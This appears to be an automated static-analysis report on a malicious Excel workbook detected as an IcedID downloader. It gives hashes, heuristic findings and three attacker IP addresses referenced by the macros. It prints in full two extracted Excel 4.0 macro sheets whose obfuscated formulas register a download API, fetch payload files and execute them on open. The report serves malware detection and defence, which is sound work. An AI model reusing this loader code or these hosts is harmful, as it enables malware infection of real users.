Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f155e8ce05492abb…

MALICIOUS

Office (OOXML)

170.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: 04cc7dd49319064ba3cbbe7407aec048 SHA-1: 7084ce0f424e042f57582344cc62ab37cfbecfec SHA-256: f155e8ce05492abbb12ae8eff43ceca6fbab925fa0b227113f7d01496777f997
242 Risk Score

Heuristics 5

  • ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, GOTO, RETURN, EXEC critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://188.127.224.87/ Referenced by macro
    • http://45.67.229.104/Referenced by macro
    • http://195.123.209.36/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 4771 bytes
SHA-256: de99fa97839e5d559ffd5543beb25297e16f5f1cc3e539445745354d3f480145
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A1:AU402"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="6" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="6" style="2"/></cols><sheetData><row r="1" spans="1:1" x14ac:dyDescent="0.3"><c r="A1" s="3"/></row><row r="87" spans="34:34" x14ac:dyDescent="0.3"><c r="AH87" s="2" t="s"><v>18</v></c></row><row r="261" spans="38:41" x14ac:dyDescent="0.3"><c r="AM261" s="2" t="s"><v>20</v></c></row><row r="262" spans="38:41" x14ac:dyDescent="0.3"><c r="AO262" s="2" t="str"><f>NOW()&amp;".dat"</f><v>44273,4828008102.dat</v></c></row><row r="263" spans="38:41" x14ac:dyDescent="0.3"><c r="AM263" s="2" t="s"><v>0</v></c></row><row r="264" spans="38:41" x14ac:dyDescent="0.3"><c r="AM264" s="2" t="s"><v>1</v></c></row><row r="265" spans="38:41" x14ac:dyDescent="0.3"><c r="AM265" s="2" t="s"><v>5</v></c><c r="AO265" s="2" t="b"><f>FORMULA.FILL(","&amp;AM261&amp;"gisterServer",AP265)</f><v>0</v></c></row><row r="266" spans="38:41" x14ac:dyDescent="0.3"><c r="AM266" s="2" t="s"><v>3</v></c></row><row r="267" spans="38:41" x14ac:dyDescent="0.3"><c r="AM267" s="2" t="s"><v>6</v></c></row><row r="268" spans="38:41" x14ac:dyDescent="0.3"><c r="AM268" s="2" t="s"><v>4</v></c></row><row r="269" spans="38:41" x14ac:dyDescent="0.3"><c r="AL269" s="2" t="s"><v>14</v></c><c r="AM269" s="2" t="s"><v>7</v></c></row><row r="270" spans="38:41" x14ac:dyDescent="0.3"><c r="AL270" s="2" t="s"><v>14</v></c><c r="AM270" s="2" t="s"><v>3</v></c></row><row r="271" spans="38:41" x14ac:dyDescent="0.3"><c r="AL271" s="2" t="s"><v>15</v></c><c r="AM271" s="2" t="s"><v>8</v></c><c r="AO271" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=""&amp;""&amp;REGISTER("U"&amp;AM263&amp;AM264&amp;AL281&amp;AM274&amp;AM268,"U"&amp;AM263&amp;AM264&amp;AM265&amp;AM266&amp;AM267&amp;AM268&amp;AM269&amp;AM270&amp;AM271&amp;AM272&amp;AM273&amp;AM274&amp;AM275&amp;AM276&amp;AM277&amp;AM278&amp;AM279&amp;"A",AL269&amp;AL270&amp;AL271&amp;AL272&amp;AL273&amp;AL274,AL276,,1,9)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="272" spans="38:41" x14ac:dyDescent="0.3"><c r="AL272" s="2" t="s"><v>15</v></c><c r="AM272" s="2" t="s"><v>9</v></c><c r="AO272" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z400&amp;AO262,"..\Fol.doka",0,0)</f><v>#NAME?</v></c></row><row r="273" spans="38:47" x14ac:dyDescent="0.3"><c r="AL273" s="2" t="s"><v>16</v></c><c r="AM273" s="2" t="s"><v>10</v></c><c r="AO273" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z401&amp;AO262,"..\Fol.doka1",0,0)</f><v>#NAME?</v></c></row><row r="274" spans="38:47" x14ac:dyDescent="0.3"><c r="AL274" s="2" t="s"><v>16</v></c><c r="AM274" s="2" t="s"><v>3</v></c><c r="AO274" s="2" t="e"><f>NOW()=NOW()=NOW()=HERTY(0,AH87&amp;Z402&amp;AO262,"..\Fol.doka2",0,0)</f><v>#NAME?</v></c></row><row r="275" spans="38:47" x14ac:dyDescent="0.3"><c r="AM275" s="2" t="s"><v>11</v></c></row><row r="276" spans="38:47" x14ac:dyDescent="0.3"><c r="AL276" s="2" t="s"><v>17</v></c><c r="AM276" s="2" t="s"><v>12</v></c></row><row r="277" spans="38:47" x14ac:dyDescent="0.3"><c r="AM277" s="2" t="s"><v>7</v></c><c r="AO277" s="2" t="e"><f>GOTO(sheet2!X191)</f><v>#N/A</v></c></row><row r="278" spans="38:47" x14ac:dyDescent="0.3"><c r="AM278" s="2" t="s"><v>13</v></c></row><row r="281" spans="38:47" x14ac:dyDescent="0.3"><c r="AL281" s="2" t="s"><v>2</v></c><c r="AU281" s="2" t="b"><f>RETURN()</f><v>0</v></c></row><row r="400" spans="26:26" x14ac:dyDescent="0.3"><c r="Z400" s="2" t="s"><v>21</v></c></row><row r="401" spans="26:26" x14ac:dyDescent="0.3"><c r="Z401" s="2" t="s"><v>22</v></c></row><row r="402" spans="26:26" x14ac:dyDescent="0.3"><c r="Z402" s="2" t="s"><v>23</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 2475 bytes
SHA-256: ec666c9d225befa7b355659a9f4b1be9fc09d89a108ceccff5430c2c3d528ed9
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="X211:X221"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="6.109375" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="6.109375" style="2"/></cols><sheetData><row r="211" spans="24:24" x14ac:dyDescent="0.3"><c r="X211" s="2" t="b"><f>NOW()=NOW()=NOW()=FORMULA.FILL(X221&amp;"3"&amp;"2 ",Y211)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="213" spans="24:24" x14ac:dyDescent="0.3"><c r="X213" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&amp;"..\Fol.doka"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="214" spans="24:24" x14ac:dyDescent="0.3"><c r="X214" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&amp;"..\Fol.doka1"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="215" spans="24:24" x14ac:dyDescent="0.3"><c r="X215" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&amp;"..\Fol.doka2"&amp;sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="220" spans="24:24" x14ac:dyDescent="0.3"><c r="X220" s="2" t="b"><f>GOTO(sheet1!AU279)</f><v>0</v></c></row><row r="221" spans="24:24" x14ac:dyDescent="0.3"><c r="X221" s="2" t="s"><v>19</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.